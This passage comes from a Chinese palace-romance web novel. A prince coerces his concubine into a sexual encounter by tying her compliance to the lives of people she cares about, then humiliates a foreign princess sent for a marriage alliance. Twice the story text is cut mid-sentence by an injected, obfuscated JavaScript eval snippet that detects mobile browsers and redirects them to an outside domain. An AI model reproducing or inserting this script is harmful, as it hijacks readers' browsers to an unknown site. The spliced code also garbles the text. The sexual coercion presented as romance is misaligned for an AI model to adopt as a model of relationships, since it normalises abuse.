多亏了房里的月麟香,她原本清醒的脑子也渐渐开始犯困,不过这次她没做梦,再睁眼时,天已然亮透。 容潜不在卧房里,偌大的房间只有她一人而已。 推开房门,绛珠绛雪正安静地在门前候着,谁也不敢先进来打扰。 千裔清坐在妆台前,任由绛雪给她梳着发髻:“容潜呢?” 最后给她簪好一只碧玉发簪,绛雪答:“殿下在书房呢,对了,殿下还让姑娘用过膳后记得去书房抄书。” “......知道了。” 她一定是失心疯了才会做那样的梦,也是失心疯了才会担心他受伤。 - 今日的书房踏足进去是需要一些勇气的,若没那个梦也就罢了,偏偏就是有,她总觉得自己的情绪变得有点奇怪,让她说,她又说不出哪里怪。 千裔清的身影在柔白色的窗纸前立了许久,容潜写完了这页纸,发现她还没进来,便觉得她这犹豫的样子有些好笑。 这不像她。 越不像她,他越觉得开心。 容潜顿住手中的画笔,好心提醒:“一直站着不进来是在等我请你吗?” 被发现了...... 千裔清觉得有点窘迫,她忘了这层窗纸从里头是看得到人影的,现在看来自己倒像是在偷窥一样。 天地可鉴,她真没这个意思! 千裔清推门进去,容潜立在桌前低头挥动湖笔,右手的袖口被他翻起一截,是怕沾到纸上的墨迹。 画了什么? 来到他侧身,只一眼她便认出了。 那画纸虽颜色还未全,但凭着绘画之人精湛的画技,她一下就看出画上之人正是她,非但如此,画上的场景正是她在流月坊抚琴时的画面,也是——他们第一次相见。 容潜提笔,画笔在纸页半空停了片刻又放下。他歪着头看向画像本尊:“你觉得如何?” 千裔清想了想:“殿下画技精湛,画像......惟妙惟肖。” “敷衍。”容潜轻哼一句,又问,“你觉不觉得画上缺了些什么?” 缺了什么?千裔清循着他的目光仔细看了看,虽是颜色还没上全,但也无伤大雅。“是颜色?” 容潜暗叹一声:“缺了一些琴音。” “琴音?”千裔清皱眉略一思索,“你是说千秋岁?” “嗯。”他指着宣纸上的留白说道,“不如你将那两句词题在此处,如此便完整了。” 这当真不是在换着花样整她? 千裔清有点不高兴,抄书本就让她够郁闷了,怎么还让她提字:“还是算了吧,我若题字,这画便是毁了。” 容潜执意让她提笔:“这画若是没有你的笔墨就不算完整。” 他不由分说的拉着她的手,把笔杆塞进她的掌心。 这下是再容不得她拒绝了。 千裔清拿着笔杆戳了戳太阳穴,一副极为无奈的样子。 算了,写就写吧,他若是敢嘲笑她,她就一把将这张纸撕了! 想到这里,她便没再犹豫,提起笔缓缓 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容潜垂头,灼热的呼吸慢慢靠近她的耳侧,他的声音渐渐生出冷意:“你问这些是因为关心我,还是关心他?” 千裔清不喜欢跟人靠的太紧,本能地缩了缩脖子,露出一丝排斥的神情:“只是好奇。” “只是......好奇?”身后的男人重复着她的话,撑在桌面的手却悄悄攥成拳。 “殿下想说便说,若不想说——殿下?!” 剩下的话悉数化为一句惊呼,容潜环着她的腰,长臂一揽便把她转了个方向,桌案上的纸张飘飘落落最终停在了地上,千裔清被他抱着放在桌上,两只手臂牢牢禁锢着她的两侧,没有半分逃脱的可能。 面前的男人冷眼缓缓逼近:“你对我只是好奇,并无关心?” 其实连好奇也没有,她刚才只是在转移话题罢了,不过现在看来,她选了个最差劲的话题:“你——” “回答我。”说话间,容潜的身子又压下半分,几乎要贴上她。 下意识的,千裔清伸手推他,却忘了自己正坐在桌子上,她的身后并没有椅背,没有可以支撑她依靠的东西。 随着他压迫而来的动作,千裔清只能后仰着避开,只是倾斜着半身的动作实在太费力,她很快就支撑不住,迫于无奈地勾上他的后颈。 冷不防,她好像又闻到那股轻飘飘的血腥味,纵是被他身上浓郁的月麟香遮掩着,她还是闻出来了。 有时候千裔清也很佩服自己这种时候还能分出心思去想这些,当真是大夫的习惯刻进了骨子里。 容潜却突然停下,任由她勾着半挂在他身上:“这算是欲拒还迎?” 千裔清回过神,蹙着眉头道:“你能不能先放开我?” 容潜嗤笑一声,说道:“你这倒打一耙的本事越发厉害了,要不要看看自己的手,是你在抓着我。” 她感觉自己的太阳穴突突直跳,耐心正处在耗尽的边缘,但眼前这人是容潜,她只能强迫自己耐心地回答:“那麻烦殿下能不能先从我身上起来?” “我要是不呢?”他一字一句地说道,同时身体又压下几分,“我就算在这儿要了你又如何?千裔清,你是不是忘了自己的身份,忘了自己怎么答应我的?” 千裔清抿起唇,冷然道:“我没忘。” “既然没忘就做好你该做的事,取悦我,你在意的人才能活。” 手边的书籍悉数被扫落在地,身下的人已全然躺在桌案之上,他的食指缠上她散落在桌面上的一缕发丝,他思慕的人就在他最近的地方,可以任由他触摸,亲吻,甚至任由他重复那些在脑海中尝试过无数次的动作。 不过一句话,他可以让她听话,可以让她不再反抗,可以让她完完全全属于他,却不能让她爱他。 他早知道的。 可即便知道,他还是无法抗拒这种握在手中的真实感,哪怕她在心里骂他下作,骂他小人,他也觉得乐得其所。 他也恨过的,在她明明并未身死却消失的那两年。 他也恨自己,如果他早些有能力保护她,给她想要的安全感,是不是就不会失去她。 但这些恨在再次见到她的那一眼全都烟消云散。 他只知道他还是想要她,只要她。 48. 羞辱 皎月公主对此行本就不甚满意,她很懊恼。 来夜南的路上她一直在想,若她从小能乖巧懂事一些,多讨父皇喜欢一些,是不是就能免于这次的和亲。她上头有两位皇姐都未曾许配人家,怎么这种“好事”偏偏还能轮到她的! 作为利益交换的棋子,皎月公主带着怨气是理所当然的,更让她为之郁闷的是所选之人还并非自己心中理想的那个,这也便罢了。昨日送步叔叔他们离开时,皎月公主背着人悄悄问过,不为别的什么,她想知道自己来夜南这几日夜南的皇帝怎么闭口不谈婚事礼仪的安排布置。 当真不是她恨嫁,来之前她也做足了功课准备,知道一些流程,也知道自己最重要的任务是什么,对方越是不提,她心中越是隐隐不安。 尤其是崇安王对她的态度,几乎是把她当做透明人似的。她每日都在想,那日在殿上直言要请她入府的人当真是容潜?该不会是被下蛊胡乱说的吧? 想到这里,皎月公主放下刚裁好的衣裳,转头问冬云:“崇安王今天出去了吗?” 冬云偏头想了想:“早上的时候看书瑞他们往书房送了许多的墨锭湖笔,说是崇安王殿下要的,奴婢猜想应该是在书房吧。” 皎月公主“噢”了一声,坐在铜镜前又仔细检查一番发髻妆饰,满意地起身。 “公主这是要去哪儿?”从屋外刚打水回来的秋露疑惑道。 “还能去哪?去找崇安王问个清楚!”皎月公主扬眉哼道,“他夜南这般把本公主晾在这不管不顾,真当我们绥夏好欺负的不成!” 秋露低着头支支吾吾的:“......公主要是想去书房......还是再等等吧......” 皎月公主不满道:“怎么他容潜的书房这么金贵,本公主连去都去不得?有什么就说!吞吞吐吐的干什么?” “......是、是那个千裔清也在......”秋露悄悄抬头看了一眼自己的主子,又说,“公主是不是忘了日前刚和她发生争执,那女人正和崇安王在一起,崇安王和皇上的关系......公主还是忍一忍吧!” 皎月公主本来正要发火,转念一想觉得秋露的话也有道理。 本想着暂时先算了,可她刚坐下没多久,想起自己在崇安王府受到的冷遇又觉得实在咽不下这口气。 她可是绥夏的公主!样貌家世哪里比不得那个低贱的舞伎?这崇安王整日和那女人鬼混在一起,这让自己以后如何管教下人,如何在府上立足? 不行,还是要去。 她又不是去专门吵架的,只是要去把和亲的事问个清楚而已,真要见到那女人不理会就是了! - 正值晌午,楮知台外,月湖上波光粼粼,偶有蜻蜓越过湖心,在水面上停驻一瞬,泛起阵阵涟漪。 五月的蝉鸣白昼里也恼人,在夏日愈显闷热聒噪。 楮知台内,门窗合的严严实实,热气被隔绝在外,与外头相比倒凉快许多。 书案上人影交叠的紧密,远看还以为是相好的男女动情至极,然而事实并非如此。 细碎如星星点点的吻势落在千裔清颈侧,却比星点更灼人,带着怨气的点啃在她身上留下彰显情绪的痕迹,毫不避讳。 单薄的外衫早已被剥去压在身下,凭着后腰与桌面之间的一点力量勉强没落在地上。 但还不够。 身上的男人越发蛮横,长指在她腰上探了几下,容潜发现这腰带实在难解,于是很快失去耐心,几个用力便给她扯断丢下了。 这下,掌心所触的位置再也没有什么阻碍,容潜可以轻而易举地探进她的小衣里揉捏,那手感比他想象的还好好上千百倍,美中不足的是有点微凉。 恍然想起,她身上好像总是冷的。 这让他更加贴近,把她牢牢嵌在身下,温热的掌心在凝脂上游移至能及的每一处每一寸,他只想把身上所有的暖意尽数带给她。想到她周身尽是自己的气息,他就觉得愉快的不得了。 不行......他太重了。 单说这动作就是在难为她,还有,她后腰下是不是搁了块笔山?硌的她骨头发痛。 “等、等等。” 实在是忍不下去了,纵然她对这天早有心理准备,但这比想象中的更加让她难以接受。 回答她的是腰腿下一凉,千裔清可以清晰地感受到自己的长裙被扯下,险挂在小腿以下的脚踝和绣鞋上。 灼热的手掌缓缓下移,停在千裔清纤细的腿上。容潜好像对她难以掩饰的抗拒颇为不满,长指握着她的腿弯向上提了提,最终被架在腰侧两边。 一面是不着寸缕的肌肤,一面是完整得体的华服,异样的触感让她控制不住轻颤。或许是冷,或许是有些紧张,但一定不会是喜欢他的亲近。 这很别扭。 扶在他肩头的手是用来支撑自己尽量避过笔山带来的痛感,但随着这人越发蛮力,好像失效了。 沉重自持的喘息声中,容潜听到她又在喊他“殿下”,语气带着为难。他停下咬在她胸口的动作,发现并不是幻听。 容潜难得愿意给她留一丝说话的时间,听听看她要说些什么。 可是这柳腰软香的女人衣衫半退,几乎快没有什么可遮掩的东西在身上,却依然眼神清明,在他撤开一些距离的时候松了口气,眉头依然紧紧拧着:“你能不能先起来?” 容潜被气笑了,做一半还能先起来的?她当自己是什么? 很快的,他的报复落在千裔清耳垂,本想狠咬她一口作为惩罚的最后还是心软了,他舍不得。 浅浅的牙印被遗落在玉色的耳廓,像他醉酒那天晚上的月色一样,弯弯的,带着八分缱绻,他的唇还没离开:“你就这么讨厌被我碰?你要的、让我做的,我全都依你了,你就不能依我一回?” 千裔清艰难地动着后腰,发现那只笔山像是嵌进自己肌肤一般,并不能轻易被挤开。 没理由她要被迫承欢的时候还得受这份罪啊,千裔清只好带着几分祈求重新看向眼前的男人:“可是殿下——” 剩下的话容潜已经不想听了,她用这种眼神看他不就是想要他放开吗? 他做不到。 干涩的双唇压下,封口缄默,任何拒绝的话他都不想听。 疼疼疼疼疼—— 突如其来的亲吻印在她唇上,不带半分犹豫地咬开她的唇瓣,不拘泥于唇齿之间,而是更深,直到千裔清连拒绝的轻哼都发不出,只剩呼吸的力气,甚至连呼吸的力气都要借助于他。 好像这样才可以。 但对容潜来说,还远远不够。 细长有力的指节抵在千裔清的下颌,拇指在她唇角把控着不容紧闭。 容潜在想,这些场景曾经只在他的梦中、亦或是想象中才能品味一番,但那些都不够真实,而现在她即将属于自己,这才是真实的。 指节突然低落的湿润感让他猛然惊醒,从沉醉中回过神来。 容潜细细回味方才那抹炙热,眼神却渐渐变冷,她哭了? 退开半分,千裔清眼尾果见一道泪痕,长长的羽睫上还挂着一滴,很小很小,却在他瞳孔中一点一点放大。 “你哭什么?”他沉着脸松开千裔清,兴致没了大半,忍不住又问,“就因为我碰你?” 容潜其实很不情愿问出这个问题,他害怕听到她的答案,只是口上却先自己的大脑问出了,他其实也想知道她的回答。 “呼......”千裔清微微调整呼吸,紧皱的眉头因身上的压力减轻而舒展一些,“我是想说我腰下好像有什么东西,硌的我好疼......” 容潜脸上第一次出现这般复杂的表情,带着惊愕、尴尬、庆幸......总之很复杂。 他很快掩饰下自己复杂的心绪,把手撑在她腰下摸索。果然,一只小小的玉石笔山被他长指夹了出来。 容潜捏着它看了半天:“所以......你刚才是想说这个?” “是。”她很诚实地回答,也答的很快。 看起来是实话,容潜突然有点高兴,她并不是在抗拒自己。 只是......只是个乌龙罢了。 “殿下能不能先起来?”千裔清想摸摸自己的后腰被硌成什么样了,只是容潜还半压在自己身上,这动作有点累。 他依言起身,再次审视面前衣衫狼藉的女人,所露的肌肤之处尽是红痕,毫无克制。 千裔清却像什么都没发生过一样,没有什么羞赧,也没表现出什么不自在,只是径自拉起脚踝边的纱裙随意遮挡了一下,抬手去检查自己的腰间。 可惜人的脑袋和眼睛都没有全方位活动的能力,她看起来很是别扭,只能隐约摸到三个深浅不一的小坑,应是被硌出来的。 容潜看着她陡然生出几分心虚,再不似平日里叱咤风云的崇安王,反倒像个做错事的孩子:“......我帮你看看?” 千裔清迟疑片刻,微微颔首:“好。” 于是就形成了这样一副画面:千裔清坐在桌沿扯着裙腰以防衣裳彻底掉下去,二容潜则把她圈在怀里,下巴搁在她肩头,长指在她腰后的红痕处轻轻抚过。 容潜抿着唇角,这好像是他的失误:“疼吗?” 千裔清把重心放在他手指所触的位置细细感受了下,答道:“刚才疼,现在还好。” 容潜暗叹口气:“回去给你上药?” 没破皮的话好像也不用,不过祛祛淤青也好,她说:“也行。” 一时间两人又没话了,其实千裔清素来都是有问有答或是有问不答的,是容潜自己觉得别扭,他的话少了,空气就显得尴尬不少。 千裔清偏头盯着他侧脸看了一眼,看他这意思应该不打算继续了吧?不继续......那她是不是可以把衣服穿好了? 穿衣的动作紧随其后,上衣其实还好,只是下裙...... 她瞥了一眼地上断成三节的长带,实在是发愁。 正当她发愁之际,门外传来由远及近的人声。 一道男声,一道女声。 一个是陆离,另一个...... 另一个是谁已经不重要了,重要的是有男人过来了,她这副样子可不能见人! 千裔清立刻滑下桌沿,足尖踩在地面上的时候还有不实感,她脚下一崴,这才发现自己腿软的连站立的力气都没有,幸好容潜及时扶起她的胳膊,千裔清一边提着裙子,一边依靠在他怀里,形成了一种很难撼动的平衡感。 这份平衡是在她站立片刻后,顺着里侧慢慢滑落的一丝湿润粘腻感打破的,千裔清隐隐回想起,方才他是不是用手指挑弄了几下? 可惜笔台带给她的痛感太强烈,她一时忘了。 这感觉是挺不习惯的,但好像......好像没有想象中的那么排斥。 现实没有给她时间再想的更深远些,陆离的身影已经出现在不远处的门边窗沿。 “殿下还在里面,您现在不能进去!” “他若不在本公主还不来呢!你给我让开!” “公主——” 一道利刃出鞘的声音划破长空,门外出现片刻的安宁。 “你敢对我拔剑?你不想活了!” “冒犯了......公主还是先请回吧,属下会告知殿下您来过的!” 容潜正帮千裔清穿着上衣,只不过衣裳早已被他扯得乱七八糟,再穿也是不够得体了。 千裔清捏着裙边,透过他的肩膀朝外迅速望了一眼,又藏回他的身前:“他们会进来吗?” “不会,陆离——”不会让她进来的。 可惜崇安王这次被打脸了,他的话还没说完,门被“嘭”的一声推开。 好在容潜的动作更快,抻开宽大的衣袍把千裔清裹进怀里,确保身后两人看不到她狼狈的样子。 虽是做好了这些事,但他的心情已经跌落谷底,千裔清听不出来,陆离却听得明明白白。 容潜轻抚怀中佳人的脊背,似是让她放心,声音却沉冷无比:“连个人都拦不住,你脑袋也不想要了?” 这差事可真难做啊...... 陆离暗自诽腹,老老实实低头先认错:“......属下失职,但属下也不敢真砍啊!” 怎么说人家也是公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978992|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主。 容潜沉吟:“你先出去吧。” “是。”陆离迅速扫了一眼容潜的背影,看殿下那护的死死的样子,怕不是坏了殿下的好事吧? 想到这种可能,他暗暗叫苦。 完了,这回脑袋是不是真要搬家了? 转瞬间房中只剩她们三人,千裔清舒了口气,放松一些自己瑟缩的肩头。 她还有点好奇皎月公主来做什么,于是悄悄张望了一眼。 只一眼,便和皎月公主对视上了。 容潜似乎有意让皎月公主看着一样,故意捏着千裔清的脸按尽坏了,又柔声说了句“老实一点。”听起来很像在打情骂俏。 “找本王何事?” 皎月公主这才从震惊中回神,她没看错吧?这两个人青天白日的竟在书房行苟且之事? 这、这...... 那她算什么? “你们在做什么?”话一出口,皎月公主才意识到自己的声音竟微微颤抖,她觉得心中的不安更重了。 她是跋扈,可也不是没脑子。 容潜不耐道:“本王做什么事好像还轮不到你来管吧?” “你说什么!是你说要迎我入府的,你现在说这话是什么意思!”皎月公主上前几步。 容潜冷喝一声,喝止她继续往前的步伐:“就站在那吧!可别吓坏了本王的王妃。” 她没听错吧?容潜刚刚说什么,王妃? 千裔清一怔,抬头看向容潜,正对上他的柔和目光,暖情似水。 “王妃?”皎月公主一脸不敢置信,指着他身体挡得并不完整的那个女人,“你说她是王妃,那我呢?” “这才离家几日,皎月公主连自己姓甚名谁都记不得了?看来贵国的教养之法有待提高啊。”他说这话,毫不掩饰自己的讽刺之意。 千裔清越来越看不懂了,纵然要撕破脸,没必要这个时候就闹成这样吧?他们两个可还没成亲呢,这样下去,仪式真的还能顺利进行吗? 容潜很好心的提醒:“若公主无事便出去吧,不要打扰本王和王妃的雅兴。” 饶是皎月公主再不敢相信,她也不得不开始接受心中那个一直没敢说出口的想法。“所以......你们夜南迟迟不提婚期,又对礼仪之事总是避而不答,是因为你从来没打算娶我?” 容潜嗤笑一声:“本王记得好像从来没说过要娶你吧?本王的王妃比你好上千倍百倍,为何要娶你啊?” 千裔清仰头,不禁佩服容潜的心性,他怎么能说出如此伤人自尊的话,即便他不喜欢皎月公主,可对方毕竟是个女子,他这样也太没风度了。 皎月公主逐渐静下来,她冷眼瞧着容潜的背影:“你既然不打算娶我,为什么还要在重明殿向皇上开口接我进王府,本公主是带着绥夏求和的心意才来你们夜南,你这样羞辱我,不怕挑起两国的纷争吗?” 皎月公主这话说的倒是不假,容潜这样随性,或许可以逞一时口舌之快,却把两国的交好之路彻底断了,他有和容烨商量过吗? 还有,他做这些是为了...... 千裔清微微抿唇,心中有块地方变得柔软起来。 容潜轻笑,伸手在千裔清发丝上顺了一下,又一下,不紧不慢地回答:“说你蠢还真没冤枉你,难道你没看出本王就是在羞辱你?哦,那就再说清楚些——” 他一字一句缓缓开口,似是怕皎月公主听不清楚一般,每个字都咬的极清晰:“你于本王不过是条狗,唤你过来无非是讨王妃笑一笑罢了,皎月公主,你可听清楚了?需不需要本王再重复一遍?” 皎月公主何曾被人这样辱骂过,现下也不在意是否撕破脸了,什么和亲什么两国交好,全是混账话! “容潜,我知道你自视甚高天不怕地不怕,可我告诉你!绥夏不是你可以小瞧的,你欺辱我事小,但这件事我一定会禀告父皇,到时两国交战,你就是罪人!” 千裔清扯了扯他的袖子,想让他收敛一些性子,虽然现在好像也晚了。 然而皎月公主不说这话还好,一开口,千裔清只觉得抱着自己的男人周身气温都冷了几分。 “公主这话错了,挑起两国纷争的不是本王,是你们绥夏!武安王曝尸边境,你们绥夏做了什么自己心中清楚,本王也清楚!”容潜看起来很不高兴,他的唇线紧紧抿作一道向下的弧线,语调也如寒潭,丢进石块都听不到回声的那种,如深渊不可见底。 皎月公主被这话噎了一下,不得不承认,武安王之死,绥夏军队的所作所为并不光彩:“......两军交战生死乃是常事——” “生死乃是常事?”千裔清眉头一蹙,忍不住出言反讥,“好,既然公主也说生死乃是常事,为何又把罪责推脱至崇安王一人身上?武安王是殿下的兄弟,你们绥夏输不起,用计戕害武安王,崇安王不过说了你几句罢了,又没真要了你的命,你既然没有容人之度就别拿这些冠冕堂皇的话来反咬一口。” 皎月公主反驳:“我是绥夏的公主,维护自己的家乡有何不对?” “崇安王是夜南的王爷,他便是为兄弟报仇将你剁碎了喂狗,岂非也合常理?”她的语气仍是淡淡的,却每一字都掷地有声。 容潜低头看着她笑,他没看错,千裔清在袒护他。 她果然是喜欢他的。 他一定没看错。 怎么每次跟千裔清吵架都吵不过她,对方这四两拨千斤的语调,以其人之道还其人之身的吵法还真是屡试不爽,次次让人吃瘪! 皎月公主词穷之后便怒道:“本公主说话何时轮到你一个低贱的舞伎来品头论足,你算什么东西?” 容潜揽在她背后的手倏然紧了,他偏过头,余光扫了皎月公主一眼,森然道:“你说她什么?” “我......”不过是余光而已,皎月公主却觉得自己呼吸都停了一瞬。 “本王在问你,方才说她是什么?” “无事。”千裔清不在意地摇头,“随她怎么说。” 容潜静默一会儿,低声无奈叹道:“我改主意了,我觉得你说的剁碎了喂狗......似乎也不错。” 49. 如初 皎月公主气得摔门而出,听说是回房收拾东西去了,至于收拾什么,院子外的下人听不真切,约莫着是回家的行李。 千裔清被容潜用宽大的外袍包裹的严严实实,后来又一路被抱回卧房,这件事也是许多人亲眼瞧见的。 府上一干众人左思右想,这两件事应该是有联系,但他们不清其中事由,只当是皎月公主争风吃醋罢了。 啧,这不定然要碰一鼻子灰吗? 肩头的衣裳皱皱巴巴的怎么都合不拢,千裔清放弃了,她在床上看了一圈,最终把自己缩进被子里,留着一个脑袋露在外面看容潜给她翻箱倒柜找换洗衣裳。 大约是东西刚搬进来还不熟悉,他手忙脚乱地找了一段时间,这样子要是被外人看到怕会惊掉下巴。 千裔清盯着他的身影看了一会儿,想起方才他气走了皎月公主,面对自己的盘问一脸狡黠地告诉自己:“我只说迎她入府,可没说过要娶她。” 他好像真的从来没这么说过。 那她算不算上当了? 好像也不算,至少皎月公主没能如愿嫁给容瑾。 ......也行吧。 直到他终于把里衣中衣还有外衣都找全了,拿来她面前的时候又有些犹豫:“......要不先上药?” 千裔清想了想:“好。” 于是容潜又去储柜中翻出她的药匣来,单是治外伤的药就有好多种,这些形状相近的药瓶混淆在一起让人难以分辨。 千裔清提醒他:“你手边褐色的那瓶。” 容潜依言取出,来到她身边正要扯下她的被子,想起方才在她身上惩罚性的使坏,伸出的手指又缩回去:“......要不还是先沐浴吧?” 千裔清点点头:“也好。” 容潜觉得此刻眼前的千裔清变得略微陌生了,但这种陌生他很喜欢。“你今天怎么这样听话?还有,刚才在书房为什么替我说话?” 因为这些事很合理啊,她需要上药,也需要清洗一下自己,为什么要拒绝? 这问题好蠢,千裔清自动忽略了他的前半句:“身为夜南子民,理应如此。” “只有这样?” 容潜不是这么以为,他要给这些做合理的解释,只有一种可能:她喜欢他。 所以平日千裔清不过是害羞罢了,他垂眸想了想,毕竟是女儿家,也可以理解。 他好像又在过分理解她的话了,千裔清打断他:“你会杀了皎月公主吗?” “杀了又如何?不行吗?”容潜偏头,露出一丝疑惑的表情,草率决定一个人的生死对他只是稀松平常的事,哪怕对方是邻国的公主。 小孩心性。 千裔清摇摇头:“不行,你要放了她。绥夏皇室若有良心或许会睁一只眼闭一只眼,但你要是杀了她,这件事情就再无转机了。” 容潜的脸色沉了沉:“我与绥夏既是国仇也是家仇,这件事不会有任何转机。” 国仇是为百姓为社稷,是为了夜南故去的武安王,而家仇为的是他的八哥容骁。 千裔清明白他的意思:“我知道,但眼下并不是好时机,再说她不过是个女子,你又何须跟她计较?” “你不生气?”容潜还是有点放不下,方才在书房听得那些话,他连对方切成什么样的形状都想好了。 千裔清笑了:“咱们夜南即便平民百姓也是有骨气的,自然不会像他们一样用些卑劣手段,况且我相信殿下和皇上,一定能在战场上赢得他们心服口服。” 容潜微微一怔,没想到她会说出这番话来。但仔细一想,他爱的女人理应如此。 只是可惜了,他不是君子。 眸光微闪几下,容潜露出一个看起来很是温和的笑,温和到显出几分虚伪来,可惜千裔清看不出什么不对,她只听到容潜说:“好。” - 浴池的玉石是特意选的,同天然的温泉相比,优点是可以置于室内,更加方便,缺点则是挺耗水的,光是打水都要添很久。 好在这里是崇安王府,人力物力都充足,一切铺张浪费都显得不那么铺张浪费。 千裔清鲜少往前院踏足,她不知道容潜的内室原本和卧房并不相通,只是另一个拐角的房间罢了,恰是第一次听她说起自己有体寒的毛病,容潜立刻着手打通房间的墙壁,又造了这样一座精雕玉琢的玉池。 他想着一定会用到的,他有这个把握,于是便踏上了一层层算计的路上,就连老天也在帮他,一切比原计划来的容易。 泡了一会儿,千裔清从暖池里出来,又唤绛雪帮她拿衣裳进来。 同是女子,千裔清在绛雪面前就自在多了,在她面前擦干自己,换上容潜给她找的衣裳,一切都没觉得有什么不妥。 反倒是绛雪,垂着头一副不敢看的样子。 平日里她也不是没见过,但今天不大一样......姑娘身上这么多的痕迹...... 答案显而易见。 那姑娘和殿下是行过房事了? 可姑娘的样子怎么倒像什么都没发生的样子? 绛雪也不敢问。 这种事就算是问了一般女子也是不好意思说出口的呀! 千裔清没注意绛雪的目光,正专心地整理衣襟,做好这一切才想起打听一下皎月公主如何了。 绛雪的说辞和其他下人一般无二,听说是气冲冲地下了楮知台直冲自己的别院,接着便闷头收拾东西。 绛雪想着皎月公主住进来的时间不久,应该没多少东西要收拾吧。 但很快的,极爱打听琐事的绛珠兴冲冲跑过来了,也不知道这丫头在那小院外头听了多久,结果显然是让她满意的。 绛珠进门先是乐着,看到绛雪瞪她一眼要她稳重些,赶忙收敛住笑意,还颇为做作地清了清嗓子:“那个......姑娘,听说皎月公主要回绥夏了!” 千裔清掀起眼皮,方才那屋里的热气闷得她都瞌睡了:“你怎么知道?” “自然是听殿下说的呀!刚才殿下去了皎月公主的小院,还说务必请她参加三日后的宫宴,要为皎月公主送行呢!” 绛雪望了千裔清一眼,意味深长道:“咱们殿下真是有风度呢,还说动了皇上为皎月公主办送别宴。” 是啊,可真是有风度!说是“请”公主赏脸,其实是在威胁吧?她几乎可以想象得到容潜当时的表情语气。 但千裔清没想通容潜这么做的目的是什么,她记得容潜原本是想杀了皎月公主,直到自己表达过要留她一命的态度,容潜松口了,但也不至于做到这般礼数的程度。 ......他不会打算在宴会上杀了公主给各位在场大臣助兴吧! 千裔清仔细一想,他也不是干不出来这种事。 罢了,晚点再劝劝。 坐下喝了半杯凉茶,开解几分被沐浴热气所侵的困意,偏巧话题的主人进来了,绛珠和绛雪忙止住剩下几句小声的议论。 可是容潜已经来到眼前,他一定是听见了俩人后面的几句议论,虽是没说什么不好听的,但私下议论主人乃是大罪,更何况这人还是崇安王。 “你们两个先出去。”想象中的责罚并没落下,容潜的脸色一如反常的和颜悦色、如沐春风。 有这种好事自然赶紧应承下来,两个丫头忙不迭的答了几声“是是是”,头也不抬地逃离出去。 千裔清开门见山地问:“送行宴这事你跟皇上提过了?” 他早知道绛珠在院子外面守了许久,又知这主仆几人关系好,有什么话都免不了提一句的,“还没有,待会儿进宫去请示皇兄。” “你怎么就断定皇上会同意?”千裔清佩服他的自信,他真就不怕这样张狂下去迟早有一天会惹怒了皇上,尽管那人是他的哥哥,但也只有一半血缘而已,而且这一半血缘又不怎么亲近。 容潜坐在她对面,屈指拿起她喝了一半的杯子在手中把玩,最终顺着那点杯沿的水渍确认她曾用过的位置一口饮下。 随后他又放下茶杯,一脸确信道:“他一定会同意,于情我是为了八哥,于理我是为了夜南,就算是为他自己,他现在还需要我,夜南也需要崇安王,所以他一定会同意。” 他看的倒是很透彻。 既然本尊都这么说,那她自然也不好多说什么,只是有一点:“你这么大动干戈的,应该不是仅仅为给她送行吧?你......” 那句猜想她怎么也说不出口,这不等于当着容潜的面骂他残暴吗? 容潜倒是随意看了她一眼就猜出她心中顾虑,便说道:“放心吧,我不会杀她,我答应过你的。” 千裔清默然。 那就好,纵然他有万种理由去杀皎月公主,但这万中理由里一定有她的原因,只需这一点,皎月公主若死了她定寝食难安。 她可不要夜里做什么奇怪的噩梦,譬如有人说受了崇安王所托给她送什么破东西,结果一打开就是皎月公主的一截手指或是眼球什么的...... 男人的手指在桌面缓缓敲了两下突然顿住:“宫宴,你也要去。” 千裔清诧异抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984365|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正对上他那双笃定而不容拒绝的双眼。“我?” 她垂眸为难道,“这不合规矩吧,招待外客的宫宴都是皇城权贵和重臣才能参与的,我在宫里一无官职,二不受命,以什么理由前去?” 容潜好笑地歪头看她:“你跟着我还需要什么理由?” 旁的权贵都是带自家正室夫人,再不济也是带个侧室,她一个侍妾,比通房好听不到哪去,赴宴不是丢人现眼吗? 容潜挑眉,语气微沉:“你不愿意?” 千裔清摇摇头,知道自己没有拒绝的权利,淡淡应道:“没有,殿下让我去我就去。” 长指挑起她的下巴缓缓移动,拇指和食指陡然捏住她的两颊,像是捏小孩子一样,把她的嘴唇捏的翘起,像条吐泡泡的小鱼。 这是做什么? 千裔清用眼神表达自己的疑问。 “能不能不要唤我殿下?”容潜脸上带了几分不满,又在她脸颊两侧捏了捏。 “其他人唔都是只样叫你的木......”侧脸被他捏着,但依稀能分辩的出说了些什么。 容潜扯了扯嘴角:“其他人是其他人,他们叫是尊称,你这么叫是生分。” 难道她们现在很熟?千裔清胡乱嗯了一声,拨开他的大手,总算找回自己正常的吐字:“那我叫你什么?容潜?直呼王爷名讳不是大罪吗?” “你又不是没叫过。”容潜垂眸想了想,缓缓道,“或者你想同寻常人家那样唤我一声夫君......也可以。” 不太可以。 仅是听到这个称呼她就觉得鸡皮疙瘩爬满全身。 可惜容潜没有表字,容怀瑕那个名字又是叫不得的,想来想去,她好像只能叫他的名字。 但看他的样子,他对自己叫他的名字并不抗拒。 “咳......不是说要进宫吗?”千裔清干咳一声,拙劣地撇开话题。 容潜起身,想起自己确实也该走了:“嗯,下人已经去备车了,我先来知会你一声。” 千裔清想了想,一只手拉住他的袖子:“我能不能跟你一起去?” “这么不想跟我分开?”容潜越来越确信,以前的冷淡样子都是她装的。 